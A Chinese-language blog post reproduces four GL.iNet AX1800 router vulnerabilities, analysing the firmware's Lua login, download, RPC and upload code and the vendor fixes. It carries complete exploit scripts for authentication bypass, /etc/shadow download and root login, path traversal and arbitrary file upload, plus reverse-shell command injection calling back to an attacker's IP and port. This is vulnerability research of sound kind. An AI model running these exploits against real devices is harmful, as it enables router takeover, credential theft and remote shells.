GL.iNet AX1800 cve复现

GL.iNet AX1800 cve复现

见闻

OpenWrt

​ 是一个专为嵌入式设计的Linux操作系统,高度模块化、自动化、占用空间小,它还提供了一个web管理界面LuCI,OpenWrt常用于路由器。比如使用树莓派加OpenWrt可以快速搭建起一个软路由器。

OpenResty

​ 是一个基于Nginx的可伸缩的web平台,旨在通过Lua脚本引擎来扩展 Nginx 服务器,提供强大的动态 Web 应用支持,尤其适用于高并发、低延迟的场景。它可以让web服务直接跑在Nginx服务内部,可以对HTTP、MySQL、Redis等都进行高性能响应。不需要通过第三方语言例如PHP、Python等来访问数据库再返回,大大提高了应用性能。

ubus

(micro bus)是 OpenWrt 项目中用于实现进程间通信(IPC)的轻量级总线架构。它提供了一个通用框架,允许系统中的守护进程和应用程序通过统一的接口进行交互和消息传递,分析中可以看到这款路由器中的请求路径主要是通过ubus.call来调用实现的。

CVE-2024-45261

AX1800: 4.6.2, fixed in 4.6.4。

认证登录流程

​ 这个漏洞是一个身份认证绕过漏洞,那么首先需要弄清楚路由器进行管理员登录的流程是什么,我使用AX1800实体机进行复现,查看浏览器登录时的网络包,发现有/rpc/challenge和/rpc/login两个请求,用json传参,包含一些方法名和参数名。/rpc-challenge的请求体中包含username字段,响应体包含salt、alg、nonce字段,如图所示:

image-20250113201054388

image-20250113203021646

在/rpc-login请求中,请求体中包含username和hash,响应体中包含sid。如下图所示:

image-20250113201110519

image-20250113201326584

在fs中搜索关键字“challenge”如下所示:

 MINGW64 ~/Desktop/4.6.2sysupgrade-glinet_ax1800
$ grep -i -r 'challenge' ./
Binary file ./squashfs-root/etc/AdGuardHome/AdGuardHome matches
./squashfs-root/etc/ssl/openssl.cnf:challengePassword           = A challenge password
./squashfs-root/etc/ssl/openssl.cnf:challengePassword_min               = 4
./squashfs-root/etc/ssl/openssl.cnf:challengePassword_max               = 20
Binary file ./squashfs-root/lib/modules/4.4.60/bonding.ko matches
Binary file ./squashfs-root/lib/modules/4.4.60/nf_conntrack.ko matches
Binary file ./squashfs-root/usr/bin/openssl matches
Binary file ./squashfs-root/usr/lib/libavformat.so.58.45.100 matches
Binary file ./squashfs-root/usr/lib/libcrypto.so.1.1 matches
Binary file ./squashfs-root/usr/lib/libdbus-1.so.3.26.1 matches
Binary file ./squashfs-root/usr/lib/libdcerpc.so.0.0.1 matches
Binary file ./squashfs-root/usr/lib/libgnutls.so.30.29.1 matches
Binary file ./squashfs-root/usr/lib/libimobiledevice-1.0.so.6.0.0 matches
Binary file ./squashfs-root/usr/lib/libndr-standard.so.0.0.1 matches
Binary file ./squashfs-root/usr/lib/libsamba-credentials.so.1.0.0 matches
Binary file ./squashfs-root/usr/lib/libsamba-errors.so.1 matches
Binary file ./squashfs-root/usr/lib/libwbclient.so.0.15 matches
./squashfs-root/usr/lib/lua/luci/controller/rpc.lua:    server.challenge = function(user, pass)
./squashfs-root/usr/lib/lua/luci/controller/rpc.lua:            local challenge = server.challenge(...)
./squashfs-root/usr/lib/lua/luci/controller/rpc.lua:            if challenge then
./squashfs-root/usr/lib/lua/luci/controller/rpc.lua:                           challenge.sid,
./squashfs-root/usr/lib/lua/luci/controller/rpc.lua:                    return challenge.sid
Binary file ./squashfs-root/usr/lib/samba/libasn1-samba4.so.8.0.0 matches
Binary file ./squashfs-root/usr/lib/samba/libauth-samba4.so matches
Binary file ./squashfs-root/usr/lib/samba/libauth4-samba4.so matches
Binary file ./squashfs-root/usr/lib/samba/libcli-smb-common-samba4.so matches
Binary file ./squashfs-root/usr/lib/samba/libcliauth-samba4.so matches
Binary file ./squashfs-root/usr/lib/samba/libdcerpc-samba-samba4.so matches
Binary file ./squashfs-root/usr/lib/samba/libgensec-samba4.so matches
Binary file ./squashfs-root/usr/lib/samba/libkrb5-samba4.so.26.0.0 matches
Binary file ./squashfs-root/usr/lib/samba/liblibsmb-samba4.so matches
Binary file ./squashfs-root/usr/lib/samba/libmsrpc3-samba4.so matches
Binary file ./squashfs-root/usr/lib/samba/libndr-samba-samba4.so matches
Binary file ./squashfs-root/usr/lib/samba/libndr-samba4.so matches
Binary file ./squashfs-root/usr/lib/samba/libsmbclient-raw-samba4.so matches
Binary file ./squashfs-root/usr/lib/samba/libsmbd-base-samba4.so matches
Binary file ./squashfs-root/usr/libexec/wget-ssl matches
./squashfs-root/usr/sbin/gl-ngx-session:resp=$(ubus call gl-session challenge "{\"username\":\"$username\"}")
./squashfs-root/usr/sbin/gl-ngx-session:echo "challenge:"
./squashfs-root/usr/sbin/gl-ngx-session:            challenge = {
Binary file ./squashfs-root/usr/sbin/pppd matches
Binary file ./squashfs-root/usr/sbin/tailscaled matches
Binary file ./squashfs-root/usr/sbin/tor matches
Binary file ./squashfs-root/usr/sbin/wpad matches
./squashfs-root/usr/share/gl-ngx/oui-rpc.lua:local function rpc_method_challenge(id, params)
./squashfs-root/usr/share/gl-ngx/oui-rpc.lua:    local res = ubus.call("gl-session", "challenge", params)
./squashfs-root/usr/share/gl-ngx/oui-rpc.lua:    ["challenge"] = rpc_method_challenge,


该路由器的web服务是用Luci、Nginx、OpenResty共同开发的,核心功能由lua实现,考虑从如下三个lua入手:

./squashfs-root/usr/lib/lua/luci/controller/rpc.lua
./squashfs-root/usr/sbin/gl-ngx-session
./squashfs-root/usr/share/gl-ngx/oui-rpc.lua

其中,在./usr/sbin/gl-ngx-session脚本中看到了完整的登录认证逻辑。

challenge

​ 首先检查了username的类型是否为字符串,检查login_wait判断用户是否处于登录等待时间,若通过则使用get_crypt_info(username)获取当前用户在/etc/shadow文件中的加密方法alg、盐值salt,使用create_nonce()生成一个随机数,作为challenge请求的响应体内容。然后看一下get_crypt_info和create_nonce的逻辑。

            challenge = {
                function(req, msg)
                    local username = msg.username

                    if type(username) ~= "string" then
                        conn:reply(req, { code = ERROR_CODE_INVALID_PARAMS })
                        return
                    end

                    if login_wait - sys.uptime() > 0 then
                        conn:reply(req, { code = ERROR_CODE_LOGIN_FAIL_OVER_LIMIT, data = { wait = login_wait - sys.uptime() } })
                        return
                    end

                    local alg, salt = get_crypt_info(username)
                    if not alg then
                        login_fail = login_fail + 1

                        if login_fail == login_fail_max_cnt then
                            login_fail = 0
                            login_wait = sys.uptime() + login_fail_wait_time
                        end

                        conn:reply(req, { code = ERROR_CODE_ACCESS })
                        return
                    end

                    local nonce = create_nonce()
                    if not nonce then
                        conn:reply(req, { code = ERROR_CODE_ACCESS })
                        return
                    end

                    conn:reply(req, {
                        code = 0,
                        data = {
                            nonce = nonce,
                            alg = alg,
                            salt = salt
                        }
                    })
                end, { username = ubus.STRING }
            },

get_crypt_info

​ 验证输入用户名是否合法。在 /etc/shadow 文件中搜索指定用户名的密码信息。如果找到,返回加密算法编号和盐值。如果未找到或用户名无效,返回 nil。

local function get_crypt_info(username)
    if not username or not username:match('^[a-z][-a-z0-9_]*$') then return nil end

    for l in io.lines("/etc/shadow") do
        local alg, salt = l:match('^' .. username .. ':%$(%d)%$(.+)%$')
        if alg then
            return tonumber(alg), salt
        end
    end

    return nil
end

create_nonce

创建nonce并记录创建时间和nonce的总数。

local function create_nonce()
    if nonce_cnt > 5 then
        log.err("The number of nonce too more")
        return nil
    end

    local nonce = generate_id(32)

    nonces[nonce] = sys.uptime() + 2

    nonce_cnt = nonce_cnt + 1

    return nonce
end

login

​ 获取请求体中的username和hash,并清理全局令牌;检查参数类型和登录等待时间;随后就是关键的验证用户名与hash部分在login_test函数实现;如果验证失败就设置登录次数并返回;若验证失败则重置登录失败次数;管理会话数量;创建随机数sid,更新全局令牌文件路径为/tmp/gl_token_;回复成功响应。

​ 然后看一下login_test的实现。

login = {
                function(req, msg)
                    local username, hash = msg.username, msg.hash

                    clean_gl_token()

                    if type(username) ~= "string" or type(hash) ~= "string" then
                        conn:reply(req, { code = ERROR_CODE_INVALID_PARAMS })
                        return
                    end

                    if login_wait - sys.uptime() > 0 then
                        conn:reply(req, { code = ERROR_CODE_LOGIN_FAIL_OVER_LIMIT, data = { wait = login_wait - sys.uptime() } })
                        return
                    end

                    if not login_test(username, hash) then
                        login_fail = login_fail + 1

                        if login_fail == login_fail_max_cnt then
                            login_fail = 0
                            login_wait = sys.uptime() + login_fail_wait_time
                        end

                        conn:reply(req, { code = ERROR_CODE_ACCESS })
                        return
                    end

                    login_fail = 0

                    if session_cnt == MAX_SESSION then
                        log.err("session more than ", MAX_SESSION, ", clean the last inactive")

                        local li_sid

                        for sid, s in pairs(sessions) do
                            if not li_sid then
                                li_sid = sid
                            elseif s.timeout < sessions[li_sid].timeout then
                                li_sid = sid
                            end
                        end

                        if li_sid then
                            sessions[li_sid] = nil
                            session_cnt = session_cnt - 1
                        end

                        clean_gl_token()
                    end

                    local sid = create_session(username)

                    update_gl_token("/tmp/gl_token_" .. sid)

                    conn:reply(req, {
                        code = 0,
                        data = {
                            username = username,
                            sid = sid
                        }
                    })
                end, { username = ubus.STRING, hash = ubus.STRING }
            },

login_test

  1. 校验用户名的格式。
  2. /etc/shadow 文件中查找匹配的用户名和密码记录。
  3. 使用 nonce 和密码记录计算哈希值,验证是否与客户端提供的哈希值匹配。
  4. 如果匹配成功,移除使用的 nonce 并返回 true;否则,返回 false
local function login_test(username, hash)
    if not username or not username:match('^[a-z][-a-z0-9_]*$') then return false end

    for l in io.lines("/etc/shadow") do
        local pw = l:match('^' .. username .. ':([^:]+)')
        if pw then	
            for nonce in pairs(nonces) do
                if hex.encode(md5.sum(table.concat({username, pw, nonce}, ":"))) == hash then
                    nonces[nonce] = nil
                    nonce_cnt = nonce_cnt - 1
                    return true
                end
            end
            return false
        end
    end

    return false
end

写了一个测试脚本来看看密码校验时用到的pw、nonce、以及生成的hash都是什么样子,如下图:

image-20250113232550693

logout

再看一下logout,退出登录,从msg中获取sid作为索引置空sessions表中的对应项,清除全局表。

        logout = {
            function(req, msg)
                local sid = msg.sid

                if type(sid) ~= "string" then
                    conn:reply(req, { code = ERROR_CODE_INVALID_PARAMS })
                    return
                end

                sessions[sid] = nil
                session_cnt = session_cnt - 1

                clean_gl_token()

                conn:reply(req, {})
            end, { sid = ubus.STRING }
        },

也就是说,要实现登录,分为两个步骤

challenge

image-20250114143153372

login

image-20250114135636880

​ 在web管理页面只能使用root登录,认证的关键是hash值比对成功,正常情况下如果没有登录密码,就无法计算出正确的hash。

漏洞分析与测试

​ 漏洞成因在于认证过程中缺少了nonce和username的对应关系,从而导致越权登录。

​ /etc/shadow中不只有root一个用户,能否用其他用户名登录。可以看到其他用户的密码信息是*或者x。

image-20250114140046307

能否从challenge入手,直接伪造challenge请求,传参其他用户名比如ftp获取nonce呢。测试后并不可行。

image-20250114142851740

​ 在get_crypt_info中用正则匹配获取对应用户名的alg,由于其他用户没有这项,故返回空,之后的生成nonce的逻辑也就不会执行。

image-20250114143104759

​ 再看能否伪造login请求实现认证。login请求获取到username检查数据类型后就进入login_test进行hash比对。而login_test的逻辑也很简单,其中pw就是alg+salt+passwd的组合,如果是其他用户,则pw为*或者x。nonce就从challenge响应中获取。

image-20250114144029223

​ 也就是说完整的攻击逻辑是先用root用户名进行challenge请求获取到nonce,再用其他用户名加上nonce进行login请求即可。直接拿CVE-2024-45261的poc进行测试,可以看到下图成功认证。

image-20250114144359368

poc

取自漏洞披露者 Bandar Alharbi (aggressor)

#!/usr/bin/python3
# Exploit Title: GL.iNet Authentication Bypass
# CVE: CVE-2024-45261
# Date: 2024-10-24
# Google Dork: intitle:"GL.iNet Admin Panel"
# Author: Bandar Alharbi (aggressor)
# Vendor: www.gl-inet.com
# Vendor Advisories: https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Bypassing%20Login%20Mechanism%20with%20Passwordless%20User%20Login.md
# Tested Firmware: https://fw.gl-inet.com/firmware/x3000/release/openwrt-x3000-4.0-0408release4-0419-1713515790.bin
# Tested Model: GL-X3000 Spitz AX
import sys
import requests
import json
import hashlib

requests.packages.urllib3.disable_warnings()
s = requests.Session()
s.verify = False
s.keep_alive = True
s.headers.update({'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'})

def info():
    info = '''[i]\033[1m HINT!! \033[0m
 - Use this non-privileged SID with my other CVE-2024-45260 (authenticated arbitrary file download) to download any files on the target including those owned by root:
   curl -k '%s/download' --data-binary 'sid=%s&path=/etc/shadow&filename=shadow\\x0d\\x0a'

 - Or better, use my combined CVEs which turns this vulnerability into an Unauthenticated RCE!''' %(url,ubus_sid)
    print(info)

# This CVE exploits a borken auth logic that allows for generating a valid unprivileged SID using a username that has *no* password set in the Unix shadow file.
def bypassAuth():
    j = {"jsonrpc":"2.0","id":1,"method":"challenge","params":{"username":"root"}}
    r = s.post(url+"/rpc", json=j)
    if r.status_code == 200 and "Access denied" not in r.text and "nonce" in r.json()['result']:
        nonce = r.json()['result']['nonce']
        data = f'ubus:x:{nonce}'
        hash = hashlib.md5(data.encode()).hexdigest()
        j = {"jsonrpc":"2.0","id":1,"method":"login","params":{"username":"ubus","hash":hash}}
        r = s.post(url+"/rpc", json=j)
        try:
            sid = r.json()['result']['sid']
        except Exception:
            pass
        if sid:
            print("[*] Successfully generated a non-privileged SID for the \033[1mubus\033[0m account: \033[1m%s\033[0m" %sid)
            return sid
        else:
            print("[*] Error! Could not generate a SID!")
            return False
    else:
        print("[*] Could not get a nonce from the target device! Try again later!")
        return False

def isVulnerable():
    r = s.post(url+"/rpc")
    if r.status_code == 500 and "nginx" in r.text:
        r = s.get(url+"/views/gl-sdk4-ui-login.common.js")
        if  "Admin-Token" in r.text:
            j = {"jsonrpc":"2.0","id":1,"method":"call","params":["","ui","check_initialized"]}
            r = s.post(url+"/rpc", json=j)
            version = r.json()['result']['firmware_version']
            model = r.json()['result']['model']
            if version.startswith(('4.')):
                print("[*] The firmware's version: \033[1m%s\033[0m" %version)
                print("[*] The device Model is: \033[1m%s\033[0m" %model)
                return True
    print("[*] Either the firmware version is NOT vulnerable or the target may NOT be a GL.iNet device!")
    return False

def isAlive():
    try:
        r = s.get(url)
        if r.status_code != 200:
            print("[*] Make sure the target's web interface is accessible!")
            return False
        elif r.status_code == 200:
            print("[*] The target is reachable!")
            return True
    except Exception:
        print("[*] Error occurred when connecting to the target!")
        pass
    return False

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("exploit.py url")
        sys.exit(0)
    url = sys.argv[1]
    url = url.lower()
    if not url.startswith(('http://', 'https://')):
        print("[*] An invalid url format! It should be \033[1mhttp[s]://ae3f8b5.glddns.com OR http[s]://192.168.8.1\033[0m")
        sys.exit(0)
    if url.endswith("/"):
        url = url.rstrip("/")

    print("\033[1m************** GL.iNet Authentication Login Bypass **************\033[0m")

    try:
        if (isAlive() and isVulnerable()) != (False and False):
            ubus_sid = bypassAuth()
            if ubus_sid != False:
                info()
    except KeyboardInterrupt:
        print("\n[*] The exploit has been stopped by the user!")

漏洞修复

​ 新版本中官方将原来简单的单层表结构改为嵌套表,用username作为键,实现了username和nonce的绑定关系。有效阻止了这一越权登录。

image-20250114151959875

image-20250114152132698

CVE-2024-45260

​ 这是一个登录认证后的越权文件下载漏洞,此漏洞允许通过GL管理面板身份验证的非特权用户下载易受攻击系统上任何文件的内容,包括root拥有的文件。通过下载/etc/shadow文件,然后使用加密的root密码以root身份登录到管理面板,此漏洞可能导致以root权限远程执行代码。AX1800: 4.6.2, fixed in 4.6.4。

下载文件流程

​ 首先需要知道下载部分的逻辑。每个web请求的大致逻辑都可在/usr/share/gl-ngx/oui-xxx.lua查看到,如下图,主要逻辑是检查path存在,再检查sid是否有效,检查目标文件是否存在,随后打开文件读取文件内容。

image-20250115143454430

漏洞分析与测试

​ 这一请求看似没有任何问题,实则忽视了非特权用户和特权用户之间的区分。仅仅是检查sid是否有效,也就是是否已经经过challenge和login的登录认证,这导致普通用户也可以拥有特权用户一样的文件访问权限,那么如果有一个普通用户登录认证后是否就可以越权下载敏感文件比如/etc/shadow,从而得到root用户密码,再用root身份登录。

​ 首先在测试机上为普通用户ftp设置设置密码,再用其身份登录获得普通用户的sid。

image-20250115181420382

然后用普通用户的sid去下载/etc/shadow,如下图,访问成功。

image-20250115181934240

poc

来自漏洞披露者https://github.com/aggressor0

from pathlib import Path
import sys
import requests
import json
import hashlib

requests.packages.urllib3.disable_warnings()
s = requests.Session()
s.verify = False
s.keep_alive = True
s.headers.update({'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'})

def rce():
    d = 'sid=%s&path=/etc/shadow' %sid
    r = s.post(url+"/download", data=d, headers={'Content-Type': 'application/x-www-form-urlencoded'})
    if r.status_code == 200:
        cryptpass = r.text.split(':')[1]
        j = {"jsonrpc":"2.0","id":1,"method":"challenge","params":{"username":"root"}}
        r = s.post(url+"/rpc", json=j)
        if r.status_code == 200 and "Access denied" not in r.text and "nonce" in r.json()['result']:
            nonce = r.json()['result']['nonce']
            data = f'root:{cryptpass}:{nonce}'
            hash = hashlib.md5(data.encode()).hexdigest()
            j = {"jsonrpc":"2.0","id":1,"method":"login","params":{"username":"root","hash":hash}}
            r = s.post(url+"/rpc", json=j)
            rsid = r.json()['result']['sid']
            #revshell1 = ";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f;" %(ip,port) # enable this when openssl (buggy version on beta firmware 4.4.10) does not work on the target! Use nc to listen instead of ncat!
            revshell2 = ";mkfifo /tmp/s;/bin/sh -i< /tmp/s 2>&1|openssl s_client -quiet -connect %s:%s>/tmp/s;rm /tmp/s" %(ip,port)
            #j1 = {"jsonrpc":"2.0","id":1,"method":"call","params":[rsid,"ovpn-server","generate_certificate",{"dh":revshell1}]} # enable this to use nc when openssl is not working
            j2 = {"jsonrpc":"2.0","id":1,"method":"call","params":[rsid,"ovpn-server","generate_certificate",{"dh":revshell2}]}
            try:
                print("\tHints! if you did not receive a connection back, try again by listening on other known ports like 123,51820,21,22,53,443 ... etc.")
                #s.post(url+"/rpc", json=j1, timeout=0.8) # enable this to use nc when openssl is not working
                s.post(url+"/rpc", json=j2, timeout=0.8)
            except requests.exceptions.ReadTimeout:
                pass
        else:
            print("[*] Could not retrieve the root's nonce!")
            return False
    else:
        print("[*] Could not retrieve the shadow file!")
        return False

def downloadFile():
    fname = Path(file).name
    d = 'sid=%s&path=%s&filename=%s' %(sid,file,fname)
    r = s.post(url+"/download", data=d, headers={'Content-Type': 'application/x-www-form-urlencoded'})
    if r.status_code == 200:
        print("[*] The requested file has been successfully retrieved and saved in the current directory!")
        fname  = Path(file).name
        f = open(fname, "wb")
        print("file_content----->>",r.text)
        f.write(r.content)
        f.close()
        return True
    else:
        print("[*] Could not retrieve the target file!")
        print("[!] Make sure that the entered filename and full path exist on the target system, and the SID has not expired!")
        print("[!] If it's still not working, then the target system is patched!")
        return False

def isVulnerable():
    r1 = s.post(url+"/rpc")
    if r1.status_code == 500 and "nginx" in r1.text:
        r2 = s.get(url+"/views/gl-sdk4-ui-login.common.js")
        if  "Admin-Token" in r2.text:
            j  = {"jsonrpc":"2.0","id":1,"method":"call","params":["","ui","check_initialized"]}
            r3 = s.post(url+"/rpc", json=j)
            version = r3.json()['result']['firmware_version']
            model = r3.json()['result']['model']
            if version.startswith(('4.')):
                print("[*] The firmware's version: %s" %version)
                print("[*] The device Model: %s" %model)
                return True
    print("[*] Either the firmware version is NOT vulnerable or the target may NOT be a GL.iNet device!")
    return False

def isAlive():
    try:
        r = s.get(url)
        if r.status_code != 200:
            print("[*] Make sure the target's web interface is accessible!")
            return False
        elif r.status_code == 200:
            print("[*] The target is reachable!")
            return True
    except Exception:
        print("[*] Error occurred when connecting to the target!")
        pass
    return False


if __name__ == '__main__':
    if len(sys.argv) != 4:
        print("exploit.py <URL> <SID> <FILENAME>")
        print("Example: \033[1mexploit.py https://192.168.8.1 JhlYhLnIGFu7qG3e1HwZZDNRRFPONxbF /etc/shadow\033[0m")
        sys.exit(0)
    url = sys.argv[1]
    url = url.lower()
    if not url.startswith(('http://', 'https://')):
        print("[*] An invalid url format! It should be http[s]://ae3f8b5.glddns.com OR http[s]://192.168.8.1")
        sys.exit(0)
    if url.endswith("/"):
        url = url.rstrip("/")
    sid  = sys.argv[2]
    file = sys.argv[3]
    print("\033[1m************** GL.iNet Authenticated RCE and Arbitrary File Download - All-in-One **************\033[0m")
    try:
        if (isAlive() and isVulnerable()) != (False and False):
            if downloadFile() != False:
                while True:
                    print("[*] Would you like to get an *encrypted* root reverse shell? \033[1m(Y/N)\033[0m", end =" ")
                    ans = input().lower()
                    if ans == "y":
                        print("[*] Before entering your IP/PORT, make sure you have a ncat listener NOT netcat: \033[1mncat --ssl -vv -l -p 443\033[0m")
                        ip   = input("\tIP: ")
                        port = input("\tPORT: ")
                        rce()
                        break
                    elif ans == "n":
                        break
    except KeyboardInterrupt:
        print("\n[*] The exploit has been stopped by the user!")

漏洞修复

​ 在新版本中官方给出的修复如下,在打开文件之前不仅仅检查文件是否存在,而是加上了rpc.access的检查。然后再看一下rpc.access的逻辑。

image-20250115182208335

​ 在rpc.access中,只允许本地请求或者root请求或者具备特定权限的请求访问资源,对不同用户的权限做了区分。

image-20250115182330826

CVE-2024-45262

通过目录遍历执行任意库中函数。AX1800: 4.6.2, fixed in 4.6.4。

rpc-call调用流程

在nginx下的gl.conf文件中可以找到/rpc路径的信息,指向了oui-rpc.lua脚本。接着查看该脚本。

image-20250116000259996

oui-rpc.lua声明了rpc_method_call函数,首先提取参数,接着校验是否为no_auth即无需认证的方法,如果是则不进行rpc.access检查,否则继续执行rpc.access,随后就调用rpc.call方法,准备执行库函数。

image-20250116003126155

rpc.call的实现如下,直接将object即库名和文件路径进行拼接进行调用。

image-20250115235653784

漏洞分析与测试

从上面的分析中可以看出,未对object即库名进行任何检查,直接拼接到了文件目录中,漏洞成因正是如此,可以通过'../../'等字符进行目录穿越。达到调用任意库的目的。

poc

来自GLinet官方漏洞库[CVE-issues/4.0.0/Improper Pathname Restriction Leading to Path Traversal in Restricted Directories.md at main · gl-inet/CVE-issues](https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Improper Pathname Restriction Leading to Path Traversal in Restricted Directories.md)

  cp /usr/lib/oui-httpd/rpc/cable /tmp/

  curl -H 'glinet:1' 127.0.0.1/rpc -d '{"method":"call","params":["","../../../../tmp/cable", "get_status"]}'
  
  curl -H  'glinet:1'  127.0.0.1/rpc -d  '{"method":"call","params":["", "plugins", "install_package",{"name":["1","package2"]}],"id": 1}'

漏洞修复

加上了正则匹配,object参数需要以字母数字下划线开头,无法再使用“..”来做目录穿越了。

image-20250116002942309

CVE-2024-45263

“/upload”端点容易受到任意文件上传攻击,允许攻击者将任何文件上传到系统。AX1800: 4.6.2, fixed in 4.6.4。

文件上传流程

具体逻辑实现部分在oui-upload.lua中,程序的主体是一个while循环,依次检查sid,authed,file_size,file type等等。限制文件上传类型部分的实现在path_is_allowed函数中,接下来查看其代码逻辑。

image-20250118212248977

​ path_is_allowed函数首先检查文件名 to 中是否存在..或者~防止目录穿越,接着遍历/usr/share/gl-upload.d目录下所有配置文件,将文件名 to 与配置文件中依次做比对,比对成功则返回真,可见上传文件类型由这些配置文件决定。

image-20250118212357575

刚开始对path_is_allowed函数有些疑惑,于是进行了打印变量值的测试,说明上面的思考是正确的。

image-20250117221133970

漏洞分析与测试

查看/usr/share/gl-upload.d目录下所有配置文件,可以看到其中ovpn_upload和wg_upload中都是用了通配符*,这意味着利用/tmp/ovpn_upload和/tmp/wg_upload可以上传任意类型文件,这就导致了任意类型文件上传的漏洞。

image-20250118213231322

运行poc,看到进程未收到错误信息。

image-20250119231552422

查看tmp目录下发现.php文件已经上传。

image-20250119231638367

poc

import requests

url = 'http://192.168.8.1/upload'
form_data = {
    'sid': 'VzkeRhoAJSPnfunvD11fumA6DlwZnD5m',
    'size': '6150',
    'path': '/tmp/wg_upload.php'
}
files = {
    'file': ('firmware.img', open('./test.lua', 'rb'), 'application/octet-stream')
}
response = requests.post(url, files=files, data=form_data)
files['file'][1].close()
print(response.text)

漏洞修复

查看下高版本是如何修复的,可以看到移除了通配符*,对文件名做了更细致的划分,严格限制了文件类型。

image-20250118212816376

此外,我在对比代码时发现,官方在oui-upload.lua调用io.open之前,还增加了rpc.access函数,对用户权限进行检查。

image-20250118213851093

工具链接

gdbserver不同架构

https://github.com/hugsy/gdb-static/blob/master/gdbserver-8.1.1-aarch64-le

参考链接

OpenResty 使用介绍 | 菜鸟教程

OpenWrt 概述与快速入门-CSDN博客

[CVE-issues/4.0.0/Unauthorized Access to File Download and Upload Interfaces.md at main · gl-inet/CVE-issues](https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Unauthorized Access to File Download and Upload Interfaces.md)

https://github.com/aggressor0

posted @ 2025-02-05 10:49  Sta8r9  阅读(146)  评论(0)    收藏  举报